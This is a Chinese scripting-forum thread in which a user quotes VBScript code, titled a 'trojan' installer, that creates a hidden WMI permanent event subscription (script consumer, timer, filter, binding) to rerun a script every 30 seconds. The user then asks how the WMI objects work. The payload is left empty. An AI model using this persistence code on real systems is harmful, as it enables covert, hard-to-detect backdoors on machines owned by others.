[新手上路]批处理新手入门导读[视频教程]批处理基础视频教程[视频教程]VBS基础视频教程[批处理精品]批处理版照片整理器
[批处理精品]纯批处理备份&还原驱动[批处理精品]CMD命令50条不能说的秘密[在线下载]第三方命令行工具[在线帮助]VBScript / JScript 在线参考
返回列表 发帖

[问题求助] VBS脚本“三无后门”的几个问题 [已解决]

本帖最后由 wankoilz 于 2013-3-6 21:12 编辑

我看了Demon的博客里面“三无后门”的代码后有几个问题,还请指导一下:
代码来自http://demon.tw/copy-paste/vbs-wmi-trojan-3.html
  1. '一个绑定事件和ASEC的实例。
  2. Function InstallUpdateableTrojan
  3. WMILink="winmgmts:\\.\root\cimv2:" 'ASEC所在的名称空间
  4. TrojanName="ScriptKids" '自定义的消费者名字,也就是你的后门的名字
  5. TrojanRunTimer=30000 '自定义的脚本运行间隔
  6. strtxt="" '自定义的脚本内容。为了隐蔽我们就不用scriptfilename了。会被Windows编码后写入CIM存储库
  7. '配置事件消费者'
  8. set Asec=getobject(WMILink&"ActiveScriptEventConsumer").spawninstance_
  9. Asec.name=TrojanName&"_consumer"
  10. Asec.scriptingengine="vbscript"
  11. Asec.scripttext=strtxt
  12. set Asecpath=Asec.put_
  13. '配置计时器'
  14. set WMITimer=getobject(WMILink&"__IntervalTimerInstruction").spawninstance_
  15. WMITimer.timerid=TrojanName&"_WMITimer"
  16. WMITimer.intervalbetweenevents=TrojanRunTimer
  17. WMITimer.skipifpassed=false
  18. WMITimer.put_
  19. '配置事件过滤器'
  20. set EventFilter=getobject(WMILink&"__EventFilter").spawninstance_
  21. EventFilter.name=TrojanName&"_filter"
  22. EventFilter.query="select * from __timerevent where timerid="""&TrojanName&"_WMITimer"""
  23. EventFilter.querylanguage="wql"
  24. set FilterPath=EventFilter.put_
  25. '绑定消费者和过滤器'
  26. set Binds=getobject(WMILink&"__FilterToConsumerBinding").spawninstance_
  27. Binds.consumer=Asecpath.path
  28. Binds.filter=FilterPath.path
  29. Binds.put_
  30. End Function
复制代码
问题1
里面出现了 set Asec=getobject(WMILink&"ActiveScriptEventConsumer").spawninstance_ 这种路径写法,
为什么获取其他实例比如 win32_process 时写成
set objprocesses=getobject("winmgmts:\\.\root\cimv2:win32_process").spawninstance_这样不行呢?
是因为 ActiveScriptEventConsumer 属于系统类吗?
还有,http://bbs.bathome.net/thread-21979-1-1.html 这里居然有 getobject("winmgmts:win32_process").instances_ 这种写法... ...
感觉真是太灵活了吧,有点头大... ...

问题2
set Asecpath=Asec.put_   其中 Asecpath 是一个什么对象呢?我知道这是为了获取它的 path 属性,但它和 Asec 这个对象有什么关系呢?

问题3
看了这个问题大家不要见笑啊,既然专门设计一个绑定的类,为什么不直接设计成绑定 具体事件和消费者 ,而要整成绑定 过滤出来的事件和消费者呢... ...
直接绑定 事件id和消费者id  不就可以了吗,是不是多此一举呢?
勿怪!
1

评分人数

    • Batcher: 感谢给帖子标题标注[已解决]字样PB + 2

补问一个:
__eventconsumer和ASEC有什么区别呢?

TOP

通过反复学习 《WMI入门教程》(三部分),以上问题基本上解决了。
http://demon.tw/programming/wmi-scripting-primer-part-1.html

TOP

朋友,你倒把你的心得体会说一下啊~

QQ 20147578

TOP

这个真是一言难尽啊,我觉得应该要把WMI基本结构模型,类定义,WMI脚本库(就是入门三部曲)等概念搞清楚,结合wbemtest.exe查看相应类定义的方法、属性、限定符等才能够系统了解。
Demon兄的博客还是很严谨很专业的,看了不后悔!

TOP

返回列表